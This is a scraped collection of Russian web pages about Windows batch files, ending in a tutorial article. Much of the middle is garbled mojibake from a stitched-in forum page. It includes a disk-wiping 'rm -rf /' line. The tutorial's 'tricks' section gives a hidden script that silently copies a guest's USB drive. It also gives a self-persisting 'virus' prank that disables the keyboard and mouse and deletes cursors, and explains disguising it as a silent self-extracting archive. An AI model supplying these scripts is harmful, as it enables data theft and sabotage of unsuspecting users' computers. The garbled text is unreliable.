Настройки:

Можно задавать такие паузы (в мс.):
1) между проверками статуса «Не отвечает».
2) продолжительность времени и кол-во дополнительных проверок валидации статуса за это время.
3) перед новым запуском завершенного приложения.

Запуск в минимизированном виде:
1 — Да, 0 — Нет.

Приоритеты запускаемого процесса:
1 — низкий
2 — ниже среднего
3 — средний
4 — выше среднего
5 — высокий
6 — в реальном времени

Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел.

Upd.3.
Подправлено получение пути к процессу из правильного свойства WMIC Process (ExecutablePath вместо CommandLine).
Добавлена принудительная минимизация окна с помощью утилиты NirCMD (некоторые программы восстанавливают окно при использовании Start /MIN).
В силу особенностей NirCMD процесс нужно вручную задавать на выбор: по имени класса или по имени (части имени) окна.
Добавлен автоперезапуск процесса, если через 10 сек. после его запуска оно не набрало указанное число КБайт в оперативной памяти.

Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск

Eva Rosalene

Pure Free Digital Ghost

4598 / 1910 / 370

Регистрация: 06.01.2013

Сообщений: 4,564

08.01.2013, 21:45

Помощь по всем командам вашей версии Windows / DOS

Развврнуть код…

Bash

@echo off
setlocal enabledelayedexpansion
if exist "help.txt" (del help.txt)
help>>help.txt
del help2.txt
FOR /F "usebackq" %%a IN ("help.txt") DO (
 set string=%%~a
 if "!string:~0,1!"=="A" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="B" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="C" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="D" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="E" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="F" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="G" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="H" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="I" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="J" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="K" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="L" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="M" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="N" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="O" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="P" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Q" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="R" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="S" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="T" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="U" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="V" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="W" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="X" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Y" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Z" (echo !string!>>help2.txt)
)
del help.txt
FOR /F "usebackq tokens=1,2*" %%a IN ("help2.txt") DO (
 echo ====================>>help.txt
 echo HELP FOR %%a>>help.txt
 echo %%a
 %%a /?>>help.txt
)
echo OK
pause>nul
timeout /t 1 /NOBREAK>nul

После запуска появятся два текстовых файла.
По ходу действия программа будет писать вам, какая команда сейчас обрабатывается.
HELP2 — список доступных вам команд.
HELP — собственно справка по каждой из них.

Dragokas

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,323

Записей в блоге: 17

15.01.2013, 02:20

[ТС]

Прогресс-бар копирования файлов
Автор: Ris

Взято из этой темы.

Версия 1.5

Bash

@echo off
::Первый пааметр - это откуда копировать(путь у папке)
::Второй параметр - это куда копировать(путь у папке)
::Третий параметр - это надо ли копировать вложенный папки (+s - если надо, -s если не надо)
::Четвертый параметр - это что копировать(расширение файлов без точки, не указывайте - если все файлы)
if "%~1"=="" goto :EOF
set otkyda=%~1
if "%~2"=="" goto :EOF
set kyda=%~2
if /i "%~3"=="+s" (set s=^/s) else (set s=)
if "%~4"=="" (set pac=^*) else (set pac=%~4)
setlocal enabledelayedexpansion
set /a q=0
echo Copy...0%%
echo °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
cd /d "%~1"
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (set /a sall+=%%~zi)
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (call :mycopy "%%i" %%~zi)
cls
echo Copy...100%%
echo ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ
goto :EOF
exit
:mycopy
if not %2 LSS 200000000 (echo File size is larger than 200MB.&pause&exit)
set p=%~dp1
call set x=%%p:%otkyda%=%%
xcopy /q /s /y %1 "%kyda%%x%" > nul
set /a proc=10*%2/(%sall%/1000)
if %2 LSS 10000 set /a proc=%2*10000/%sall%
set /a q=%q%+%proc%
cls
echo Copy...%q:~0,-2%.%q:~-2%%%
set /a qb=(%q%*80)/10000
if "%qb%"=="%qb_pr%" (echo %bar%%barx%&exit /b)
set /a qbx=80-%qb%
set bar=
set barx=
for /l %%i in (1,1,%qb%) do (set bar=!bar!Ы)
for /l %%i in (1,1,%qbx%) do (set barx=!barx!°)
echo %bar%%barx%
set qb_pr=%qb%
exit /b

Юзаем, например, так:

Bash

1	copybar "C:temp" "%cd%temp" +s rar

Источник

��
��
��
�� / Covid-19
��
��
��
��
��
��
��
��
��
��
��
4�4 ��
��
��
��
��
��
KIA-��
��
Hyundai ��
VAG ��
��
�� : ��
��-�� (�� , ��)
��
�� : ��
�� : ��
�� : ��
�� : ��
�� : ��
�� : �� , ��
�� : ��
�� : ��
�� : ��
�� : ��
�� -��
��
�� : ��
�� : �� (��)
�� : ��-�� (��)
�� : ��
�� : ��
�� : �� , ��
�� : ��
�� : ��
��
�� — ��
�� — ��
�� — ��
�� — �� , ��
�� — ��
��
��
�� — ��
�� — ��. ��
�� — ��: ��
�� — ��: ��
�� — ��: �� , ��, ��
��
�� (��)
�� . ��
�� (�� )
��
��
��
��
��
��
��
��
��. ��.
��
��
��
��
��
��
��
��
��
��
��
��
��, ��, ��
��
��
��
��
��
��
��
��
�� : ��
�� : ��
��
��
��
��
��
��-��
GPS ��
��
��-��
��
��. � ��
��
�� PR
��
��
��
��
��
��
��
��
��
��
��
�� (��)
��
��
��
��
��
��
��
��, ��, ��
��, ��, ��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
��
�� (��. �� )
��
�� (�� .)
��
��
�� (�� )
�� (�� -��)
�� (�� -��)
�� (�� ., � �� 18)
�� (�. ��)
�� (��. �� )
�� (�� -��)
�� (�� -��)
�� . (�� )
�� .
�� .
�� . (60-�� .)
�� (�� .)
��
��
��
��
��
�� iHerb
��
��
��
��
��
�� !
��-�� -��
��
��
��
��
��
�� !
��
��-��
��
��
��
��
��
��
�� (��)

�� .
�� .

��
��
��-��

� �� NN.RU

� �� NN.RU, �� .

�� , �� .

� ��

��

� �� , �� .

��, ��, ��, �� .

�� — � �� , �� .

�� .

�� , �� «�� »

�� , �� . �� -�� , � �� .

� �� :
208653491-pocinit-_pecat-.cmd (1 Kb) ��

�� , ��. �� , �� .
�� 1�

@echo off
echo �� ף�� 1� (�� )
Echo *********************************************************************
Echo *********************************************************************
Echo ��, ��
Echo *********************************************************************
Echo *********************************************************************
Echo �� 1�.
Echo � �� «�� 1�:�� 8 �� Windows (��)»
Echo �� !
Echo *********************************************************************
echo �� 1� �� ?
set /p srv_pos=�� (2, 3 � �.�.).:
set logfile=%systemdrive%1c_%srv_pos%_install.log
echo �� ޣ�� %srv_pos% . �� %COMPUTERNAME%:%srv_pos%541
echo Server position is %srv_pos%. Server address is %COMPUTERNAME%:%srv_pos%541 >> %logfile%
set /p srv_cat=��, � �� ragent.exe:
set /p srv_conf_cat=�� 1� (�� ):
set /p srv_desc=�� (�� ):
Echo *********************************************************************
Echo *********************************************************************
echo ��
echo �� 1� %srv_cat%ragent.exe
echo �� %srv_conf_cat%
echo �� %COMPUTERNAME%:%srv_pos%541
echo � �� !
pause
sc create 1C-srv-%srv_pos% DisplayName= «1� Server on %srv_pos%541» binPath= «%srv_cat%ragent.exe -srvc -agent -regport %srv_pos%541 -port %srv_pos%540 -range %srv_pos%560:%srv_pos%591 -d «%srv_conf_cat%»» start= auto >>%logfile%
sc description 1C-srv-%srv_pos% «%srv_desc%» >> %logfile%
:LOOP
Echo *********************************************************************
Echo *********************************************************************
Echo �� ۣ�. �� %logfile%
TYPE %logfile%
Echo *********************************************************************
echo �� , �� !
Echo *********************************************************************
Echo �� ?
Echo.
Echo 1 — ��
Echo 2 — ��, ��
Echo 3 — ��, ��
Set var=
Set /P var=»�� : »

if /I «%var%»==»1» goto scstart
If /I «%var%»==»2» goto exit1
If /I «%var%»==»3» exit
GoTo LOOP
:scstart
sc start 1C-srv-%srv_pos% >> %logfile%
TYPE %logfile%
pause
exit
:exit1
start services.msc

� �� -��

��. �� , �� . �� , �� ))

�� Win8/8.1/10

bcdedit /set «{current}» bootmenupolicy legacy

�� , �� Win7Vista. �� F8 � ��

�� ?

�� .

��

�� rm /rf ��

��, ��

�� rm -rf / �� , �� , �� : rm -rf —no-preserve-root /
�� rm -rf /*

�� .

REG-��, �� «��» (�� ) � «�� » (�� )

��

�� (�)
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»�� »
«InfoTip»=»�� »
«System.ControlPanel.Category»=»5»
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}DefaultIcon]
@=»%SystemRoot%\System32\imageres.dll,-27″
[HKEY_LOCAL_MACHINESOFTWAREClassesCLSID{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}ShellOpenCommand]
@=»explorer.exe shell:::{ED7BA470-8E54-465E-825C-99712043E01C}»
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{D15ED2E1-C75B-443c-BD7C-FC03B2F08C17}]
@=»�� »
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace{2227a280-3aea-1069-a2de-08002b30309d}]

� �� :
208654304-printers_godmode.reg (1 Kb) ��

REG-��, �� , �� , �� . �� , �� .

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]

[HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsWindowsUpdate]
«DisableWindowsUpdateAccess»=dword:00000001

[HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdateAU]
«NoAutoUpdate»=dword:00000001
«AUOptions»=-

� �� :
208654574-policy_updates_off_naher.reg (1 Kb) ��

� �� 10 �� ?
� �� ޣ� �� ? �� ?

�� Win10 �� :

�� UpdateAssistant — �� (�� 1607 �� 1803) � ��

�� :

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsWindowsUpdate]

�� .

1. �� Cobian backup www.cobiansoft.com/cobianbackup.htm
2. �� , �� «backup» � �� «backuptrololo», �� .
3. �� /��/nas �� (�� ) � �� /�� , �� (�� ) �� backup
4. �� backup, �� .

�� , �� + ��

� �� :
208655429-userbackup.cmd (1 Kb) ��

�� . �� , �� , �� , �� , �� , ��, � �� .

��

�� ݣ�� , �� , �� , �� , �� . �� .

�� WinXP �� Shadow User. � �� , �� , �� C:Windows. �� ӣ �� ޣ� �� . � �� , �� …

�� , �� DeepFrize. �� , �� , �� «��» ��. �� . �� , �� . �� . �� 1�� , �� . �� . � ��. �� .

� Shadow User �� ̣�� .

�� «��» �� , �� .

��
��

�� . �� . �� , �� ӣ. �� ?

�� changelog-a:

�� :
+ �� Media Engagement Statistics �� Internet (Google Chrome).

��:
��
* �� Temporary Internet Files � �� Internet (Google Chrome);
* �� Cache Files � �� Internet (Microsoft Edge) section;
* �� Cookies � �� Internet (Mozilla Firefox);
* �� Temporary Internet Files � History � �� Internet (Mozilla Firefox).

* �� Temporary Internet Files, Cookies � History � �� Internet (Mozilla Firefox).

��
* �� Firefox � Opera, �� ;
* Skype.

��
* �� Temporary Internet Files � History � �� Internet (Opera);
* �� Chat History � �� Internet (Skype);
* �� Recent Files � Recent Places �� Microsoft Excel, Microsoft PowerPoint � Microsoft Word � �� Application Traces;
* �� Problem Reports � �� System.

�� , �� . �� , �� , �� , �� .

�� (�)
��

��ģ�� , �� . � � �� .
�� , ţ �� =)

� ��

��, ��
��

�� ? � �� )

�� , ��-�� -�� RDP ��, �� 3D…

�� ) �� ) ��

��, �� , �� USB ��, �� ATOL:
1. �� .
�� :
set devmgr_show_nonpresent_devices=1
��
start devmgmt.msc
� �� «��» �� «�� »
2. �� USB ��, �� . �� , �.�. �� -�� , �� USB 3G ��.
3. �� .

�� rar.exe �� -��

� winrar.exe �� . �� — �� /��.

�� winrar ….

� �� NN.RU

� �� NN.RU, �� .

�� , �� .

� ��

��

�� .
�� .

Источник

Содержание статьи:

Вместо вступления. Что такое «батник»

Пакетные файлы (batch file) — это текстовые файлы в системе Windows, MS-DOS и OS/2, содержащие в себе команды, подготовленные для последовательного исполнения интерпритатором ОС

На первый взгляд может показаться, что данные возможности системы абсолютно бесполезны для рядового пользователя, однако это не совсем так. При помощи пакетных файлов можно существенно упростить рутинную работу с ПК, сделать её удобнее, воспользоваться некоторыми скрытыми возможностями.
Новатором и пионером в данной области я, само собой, не являюсь, просто постараюсь изложить здесь базовое представление об этом типе файлов, рассмотреть некоторые примеры и остановиться на парочке деталей и тонкостей, касающихся так называемых батников.

Для удобства написания и, естественно, восприятия разобью статью по разделам. Но сначала:

ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Некоторые манипуляции с пакетными файлами могут нанести вред системе (порой даже непоправимый), поэтому предупреждаю сразу, ни автор статьи, ни администрация сайта не несут абсолютно никакой ответственности за последствия, которые может повлечь за собой выполнение действий, представленных в этой статье. Все материалы представлены здесь исключительно с образовательной целью, и для ознакомления. Надеюсь на ваше понимание и прямоту ваших рук….

Выше уже упоминалось, что пакетный файлы — это обычные текстовые документы. Так и есть, но для того, чтобы они работали и выполняли свои функции, им нужно придать подобающий вид, т.е. поменять расширение. Вообще в Windows используется как расширение *.bat, так и *.cmd, по сути они отличаются весьма незначительно лишь некоторыми нюансами, поэтому, в целях избежания путаницы, будем говорить о bat-файлах. Т.е. чтобы создать исполняемый пакетный файл, мы открываем стандартный блокнот (либо другой, привычный вам текстовый редактор), вбиваем туда нужные нам команды и сохраняем файл с любым именем и расширением bat;
По сути, перечень команд, описанных в пакетном файле (батнике) может быть воспроизведён вручную в командной строке (пуск — все программы — стандартные — командная строка), упаковываем их (команды) мы исключительно для удобства, простоты и моментальности (если позволите) воспроизведения;
Если испытываете что-то серьёзное и не уверенны в своих действиях, лучше испытывайте детище к примеру на виртуальной машине (в крайнем случае — на компьютере соседа);
Список возможных к использованию команд очень велик, посмотреть его можно, набрав в командной строке help, здесь же будут расшифровываться команды по мере их появления в создаваемых батниках;
Все инструкции, приведённые в статье, тестировались на ОС Windows XP и Windows 7.

Часть вторая. Синтаксис при написании bat-файлов

Каждая команда вводится с новой строчки;
Все команды выполняются последовательно за исключением тех случаев, когда внутри самого батника присутствует переход к определённой его части;
Комментарии в пакетный файл могут быть добавлены двумя способами:
— либо после двух двоеточий ::переход к части копирования — либо при помощи команды goto, т.е. вводится команда goto, потом место для перехода, а между ними сам комментарий
```
goto begin
----------------------------------------
Это батник служит для резервного копирования дипломной работы
----------------------------------------
begin
```

Если команду необходимо ввести с атрибутом, то сначала вводим команду, затем пробел, слэш и, собственно, сам ключ copy /Y Чтобы посмотреть список возможных атрибутов к конкретной команде, нужно в командной строке ввести команду, затем пробел, слэш и знак вопроса dir /?
Для скрытия окна терминала выполняемой команды можно в начале строки поставить знак собачки @, если же требуется скрыть отображение выполнения всех команд, то проще (чтобы не ставить собачку в каждой строчке) в начале батника указать @echo off здесь команда echo off скрывает окна, а собачка впереди неё запрещает отображение выполнения самой echo off
Все директории внутри команд, для исключения возможных ошибок, будем вводить в кавычках;
По умолчанию при работе с кириллическим текстом на выходе вы можете получить иероглифы, при работе с папками/файлами, имеющими русские имена, вообще может ничего не получиться, это происходит из-за используемых кодировок, поэтому для исключения подобных неприятностей в начале пакетного файла будем указывать кодировку, корректно работающую с кириллицей следующей командой chcp 1251
Есть команды (например, удаление файлов, форматирование), которые могут потребовать подтверждения действий. Порой это бывает очень нежелательно, в таком случае, можно вписать ответ заранее в сам пакетный файл. Ответ записывается ДО! команды и отделяется от неё вертикальной чертой |Y|del
В командной строке (а значит и в пакетных файлах) при указании директории иногда бывает удобнее пользоваться переменными, нежели прописывать весь путь cd %APPDATA%

Приступим….

Часть третья. Резервное копирование при помощи батников

Резервное копирование данных — полезное и оттого весьма распространенное явление. Существует большое количество программ, отличающихся друг от друга функционалом, условиями распространения, уровнем (глубиной вопроса) и т.д. Бесспорно, пользоваться хорошей и красивой программой удобно и приятно, но если ваши задачи не слишком сложны, то элементарное создание бэкапов можно организовать и без использования стороннего софта, исключительно средствами ОСи.

Автоматическое копирование каталогов в папку backup

Для копирования каких-либо данных используется команда copy (копирование файла/файлов) или xcopy (копирование каталогов). Т.е., допустим, нам необходимо делать бэкап содержимого папки, в которой находятся ваши данные к дипломной работе (материалы, приложения, черновик самой работы и т.д.).
В этом случае текст будет следующим

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*"

Где D:diplom — папка расположения всех материалов к диплому, а E:backupdiplom — конечная директория резервной копии.
Создаём батник, кидаем его в автозагрузку (пуск — все программы — автозагрузка), и при каждом включении компьютера будет создаваться резервная копия (рк).Чуть усложним. Сделаем, чтобы при включении ПК старые данные сохранялись в папочке diplom_old, а новые в папочке diplom. Тогда батник будет иметь вид

@echo off
chcp 1251
del "E:backupdiplom_old" /s /q
rmdir "E:backupdiplom_old" /s /q
rename "E:backupdiplom" "diplom_old"
xcopy "D:diplom*.*" "E:backupdiplom*.*"

del удаляет ранее созданную вторую рк.
rmdir переименовывает первую рк во вторую.
xcopy создаёт новую рк.
Атрибут /s применяет команду ко всем подкаталогам, атрибут /q отключает запрос на подтверждение действий.Если в двух копиях смысла нет, можно сделать так, чтобы заменялись только те файлы, которые были изменены, те же, которые не изменились, либо вообще были удалены из исходной папки, затронуты не будут. Для этого пишем следующее

@echo off
chcp 1251
xcopy "D:diplom*.*" "E:backupdiplom*.*" /E /F /H /R /K /Y /D

Создание бэкапа в архиве

Ну и последнее, что здесь стОит рассмотреть, наверное, на данном этапе — это бэкапы в архиве
Рассмотрим изменённую предыдущую ситуацию. Допустим, нам надо, чтобы при каждом включении ПК создавалась копия папки, запакованная в архив.
Нам необходимо в автозагрузку положить батник со следующим содержимым

@echo off
chcp 1251
c:PROGRA~1WinRARWinRAR.exe a -o+ -agDD-MMM-YY–HH-MM-SS "E:backup" "D:diplom"

Архив папки D:diplom будет создаваться в E:backup, именем будет дата и время создания архива, т.е., например 16-Aug-12–14-06-53

Часть четвертая. Автоматизация процесса создания и удаления файлов/каталогов с использованием bat-файлов

Как создать папку из батника

Начнём с самого простого. Создание папки. Папка создаётся командой MD
Чтобы создать папку с именем backup в корне диска D:, нам необходимо собрать следующего вида пакетный файл

@echo off
chcp 1251
MD "D:backup"

Если же, допустим, нужна каждый день новая папочка с датой на месте имени, то батник будет иметь вид

@echo off
chcp 1251
set datetemp=%date:~-10%
MD "C:%datetemp%"

Здесь строчкой set datetemp=%date:~-10% мы создаём переменную datatemp на время работы батника и присваиваем ей 10 символов значения системной даты;

Как создать текстовый файл из батника

С созданием пустых текстовых файлов дело чуть сложнее. Такой команды просто нет, нужно что-то в этот файл писать. Чтобы выйти из ситуации воспользуемся значением nul (это даже не нулевое значение, а его отсутствие)

@echo off
chcp 1251
copy nul "имя_файла".txt

Также, как и в примере с папкой, можно сделать именем текущую дату

@echo off
chcp 1251
set datetemp=%date:~-10%
copy nul "%datetemp%".txt

Автоматическая очистка папки из батника

Теперь, что касается удаления. Тоже достаточно часто используемая область работы для батников. Так, например, без помощи спец.программ можно при каждом запуске (опять же, поместив пакетный файл в автозагрузку) очищать temp на вашей машине. Содержимое будет следующим

@echo off
chcp 1251
cd C:WindowsTemp
echo Y|del *.*

Строчкой cd «C:WindowsTemp» мы переходим в папку temp
Строкой echo Y|del *.* удаляем содержимое этой папки (не саму папку!)

Часть пятая. Прочие возможности bat-файлов

Возможностей, на самом деле, огромное множество. Здесь для примера рассмотрим некоторые из них.

Одна из самых известных возможностей использования батников — это запись содержимого каталога в файл

@echo off
chcp 1251
dir >file.txt

После выполнения этого файла, в папке, откуда он запускался, будет создан файлик file.txt, содержащий перечень всех файлов и папок в этом каталоге с указанием размера и даты последнего изменения. Можно преобразовать этот файл до вида

@echo off
chcp 1251
dir /S "c:" >"X:file.txt"

/S заставит батник показать содержимое не только каталога, но и всех подкаталогов.
c: поможет отобразить содержимое не того каталога, откуда запускается бат-файл, а нужного нам.
X:file.txt сохранит конечный файл со списком содержимого в указанное нами место;

Запуск файлов из командной строки

Очень часто полезным оказывается возможность запуска объектов из командной строки (в данном случае уже из бат-файлов). Причем как программ, так и других видов файлов (графических изображений, медиафайлов, текстовых документов и т.п.)
К примеру, если в автозагрузку добавить текстовый документ, то при включении ПК после загрузки системы вы его сразу увидите. Либо откроется плеер и будет проигрывать соответствующий трек. (Подробнее про способы добавления файлов в автозагрузку вы можете прочитать в статье: Автозагрузка. Добавление приложений в автозагрузку Windows)
Для того, чтобы это реализовать, нужно просто в теле бат-файла прописать точный путь до необходимого объекта. Например

@echo off
chcp 1251
"c:Документынапоминание.doc"

Для системных же программ нужно указать лишь её обозначение.

@echo off
chcp 1251
calc

При выполнении этого батника откроется калькулятор. В данном случае строчку chcp 1251 можно опустить (как и в некоторых ситуациях из примеров выше), однако если уж стандартизировать все наши пакетный файлы, то её можно и оставить, вреда не будет.

Часть шестая. Хитрости или шутки в сторону

Здесь рассмотрим ещё несколько интересных возможностей для применения батников. Из названия ясно, что некоторые из действий могут навредить системе (хотя это можно сделать и «голыми руками»), но если делать всё с умом, то может выйти достаточно интересно.

Шпионские штучки. Похищаем содержимое флешки

В самом начале статьи было указанно, что команды в батниках выполняются последовательно, если это не оговорено в самом теле исполнительного файла. Рассмотрим именно этот частный случай. Нуууу, допустим. Вы знаете, что к вам придёт знакомый (а может, знакомая) с просьбой произвести какие-то манипуляции с его/её флэш-карточкой, и вам очень хотелось бы слить все данные с этого накопителя на ваш ПК. Но делать это при госте не совсем удобно, да и просто можно получить «красную карточку». Что мы в таком случае делаем? Создаём батник следующего содержания

@echo off
:test
if exist g: goto go
goto test
:go
xcopy "G:*.*" "C:упс*.*"

Создаём на этот бат-файл ярлычок, в свойствах ярлыка указываем, чтобы файл запускался в свёрнутом состоянии. Дважды кликаем по ярлыку. Что имеем.
:test обозначает начало действия батника
if exist g: goto go проверяет наличие в компьютере диска G:, если он есть, то переходим к части :go (суть в том, что обычно вставленная флешка получает для обозначения первую свободную в системе букву латинского алфавита, проследить это на своём компе не так уж сложно. Вот именно эту буковку мы и указываем вместо G:)
goto test если диск G: не был найден, возвращаемся к началу части :test
:go обозначает начало действия второй части батника
xcopy «G:*.*» «C:упс*.*» копирует всё содержимое диска G: в папку упс на диске C:
Т.е. после того, как мы запустили файл с ярлыка, он запускается в свёрнутом состоянии и циклически проверяет наличие флешки в ПК. Как только флешка там засветится, начнётся копирование всех данных с неё в указанную папку, причем привычного окна копирования файлов не выскочит, всё будет отображаться в свёрнутом окне терминала.Ну, всё что было описанно выше, полезно на своём компе, однако есть несколько плюшек, с помощью которых можно подшутить над другом/подругой….

Маленький вирус в автозагрузку

В общем виде всё будет выглядеть так: отправляем человечку файлик любым удобным способом, он запускает его на своём ПК, мы немного смеёмся, а потом говорим человечку, в чём соль и как всё исправить.Обычно, если что-то идёт не так, рядовой юзер первым делом перезагружает комп. Чтобы наш батник продолжал действовать и после рестарта, необходимо добавить его в автозагрузку (подчеркиваю, такие шутки проходят только с не самыми прошаренными пользователями ПК, более опытные, скорее всего, запросто найдут причину метаморфоз системы и легко избавятся от неё). Для этого в батничке пропише следующее

copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup

Первая строка добавляет файл в автозагрузку для всех пользователей на Windows XP (для конкретного пользователя в качестве пути указываем %USERPROFILE%»Главное меню»ПрограммыАвтозагрузка)
Вторая строка добавляет файл в автозагрузку для Windows 7.

Начало обеих строк в виде copy %0 означает копирование «самого себя».
Это сделали. Ещё нам хотелось бы, чтобы после запуска батника и при каждой загрузке ПК появлялась весёленькая надпись, к примеру, «ТЫ ЛАМЕР!»
Для этого добавляем следующее

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js
start %temp%mes.js
deltree /y %temp%mes.js

Эта часть основанна на скриптах. Подробно расписывать не буду, кому интересно, найдёт материал в сети. Скажу лишь, что для некоторых ОС вид этого блока может слегка отличаться. Так, например, в семёрке (Win7) скрипт может выглядеть следующим образом

Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%mes.jse
echo WSHShell.Popup ("ПИШИ СЮДА ЧТО УГОДНО"); >> %temp%mes.jse
start %temp%mes.jse
deltree /y %temp%mes.jse

Однако, и первый вариант будет работать.

Также окошко с текстом можно добавить в обход скриптов, оно будет, так сказать, стилизованное, виндовое от текущего пользователя с указанием текущей даты и времени

msg * "ТЫ ЛАМЕР!" >nul

Едем дальше, ближе к вкусностям.
Чтобы наш объект экспериментов растерялся ещё больше, в тело батника по желанию добавляем что-нибудь из следующего:

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul — строка меняет кнопки мыши местами. Весьма забавная штуковина, однако если человечек не отличается уровновешенной психикой, от этого советую отказаться. Чтобы поменять кнопки мыши обратно, заходи в панели управления в пункт мышь и там инвертируем галочку в поле обменять назначение кнопок….

Команда rundll32 keyboard, disable отключит клавиатуру вплоть до следующей перезагрузки, а rundll32 mouse, disable то же самое проделает с мышью. Если батник в автозагрузке, то при рестарте это дело, разумеется, повторится.

rundll32 shell32, SHExitWindowsEx 1 — выключит ПК.

rundll32 shell32, SHExitWindowsEx 2 — перезагрузит ПК.

rundll32 url.dll, FileProtocolHandler https://ya.ru/ — откроет в Internet Explorer поисковую страничку яндекса (сайт вместо ya.ru, само собой, можно вписать любой). Если проявить фантазию, можно придать батнику особую пикантность.

Ну и del «%SystemRoot%Cursors*.*» >nul удалит курсоры мыши (пользоваться с осторожностью и в самых крайних случаях!)

Теперь остаётся только скомпоновать желаемые строки в единый код

@echo off
chcp 1251
rundll32 keyboard, disable
%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
copy %0 c:"documents and settings""all users""главное меню"программыавтозагрузка
copy %0 %USERPROFILE%AppDataRoamingMicrosoftWindows"Start Menu"ProgramsStartup
rundll32 url.dll, FileProtocolHandler http://www.thecleverest.com/countdown.swf
Echo var WSHShell = WScript.CreateObject("WScript.Shell"); > 
%temp%mes.js 
echo WSHShell.Popup ("ТЫ ЛАМЕР!"); >> %temp%mes.js 
start %temp%mes.js 
deltree /y %temp%mes.js

Часть седьмая. Упаковка исполнительного файла

Здесь хочу отметить, что мало кто станет запускать ваш батник хотя бы потому, что он имеет немного подозрительный вид. Исправить это можно двумя способами:

Программный способ упаковки батников

- конвертировать bat-файл в *.exe при помощи какой-нибудь утилитки (например, bat to exe)
- создать sfx-архив.

Упаковка батников в SFX-архив

Второй вариант в рамках данной статьи чуток подробнее и рассмотрим.
— Для начала нам надо установить на ПК подходящий архиватор (для этих целей я рекомендую WinRAR, т.к. создание sfx-архивов в нём реализовано наиболее удобно и просто).
— Создаём нужный нам пакетный файл (батник).
— Кликаем правой кнопочкой по батнику, выбираем из контекстного меню WinRAR => Добавить в архив (дальше по вкладкам)
— Общие. Имя любое. Формат — RAR. Метод сжатия обычный. В параметрах архивации ставим галочку напротив Создать SFX-архив.
— Дополнительно. Жмём на кнопочку Параметры SFX… Вкладочка «Общие», выполнить после распаковки — вписываем имя архивируемого батника с расширением. Во вкладке «Режимы» в разделе «Режим вывода информации» ставим галочку напротив «Скрыть всё». На вкладочке «Текст и графика» можно, например, добавить симпатичную иконку вашему архиву вместо стандартной. Если вы не художник, то иконку можно вытащить из любой программы/игры при помощи стороннего софта, например Restorator.
— На этом всё. Остальные опции на ваше усмотрение. Жмём кнопочку ОК. В исходной папке с батником появится ещё и наш новый sfx-архив.
— Чтобы добавить солидность файлу, позволить ему прибавить в весе, можно в архив «напихать» ещё что-нибудь, это может быть что угодно, т.к. цель — только увеличение размера.
— В архиве может быть сколько угодно батников, при создании архива мы указываем, что выполнять нужно первый (прописываем его имя с расширением), чтобы после этого выполнился следующий, в конце (либо в нужном нам месте) пишем

call sled.bat

Т.е. когда дело дойдёт до этой команды, система переключится на исполнение файла с названием sled.bat, а затем вернётся к исходному.
Если же надо, чтобы работа первого батника не прерывалась, то используем другую команду

start sled.bat

Вместо заключения

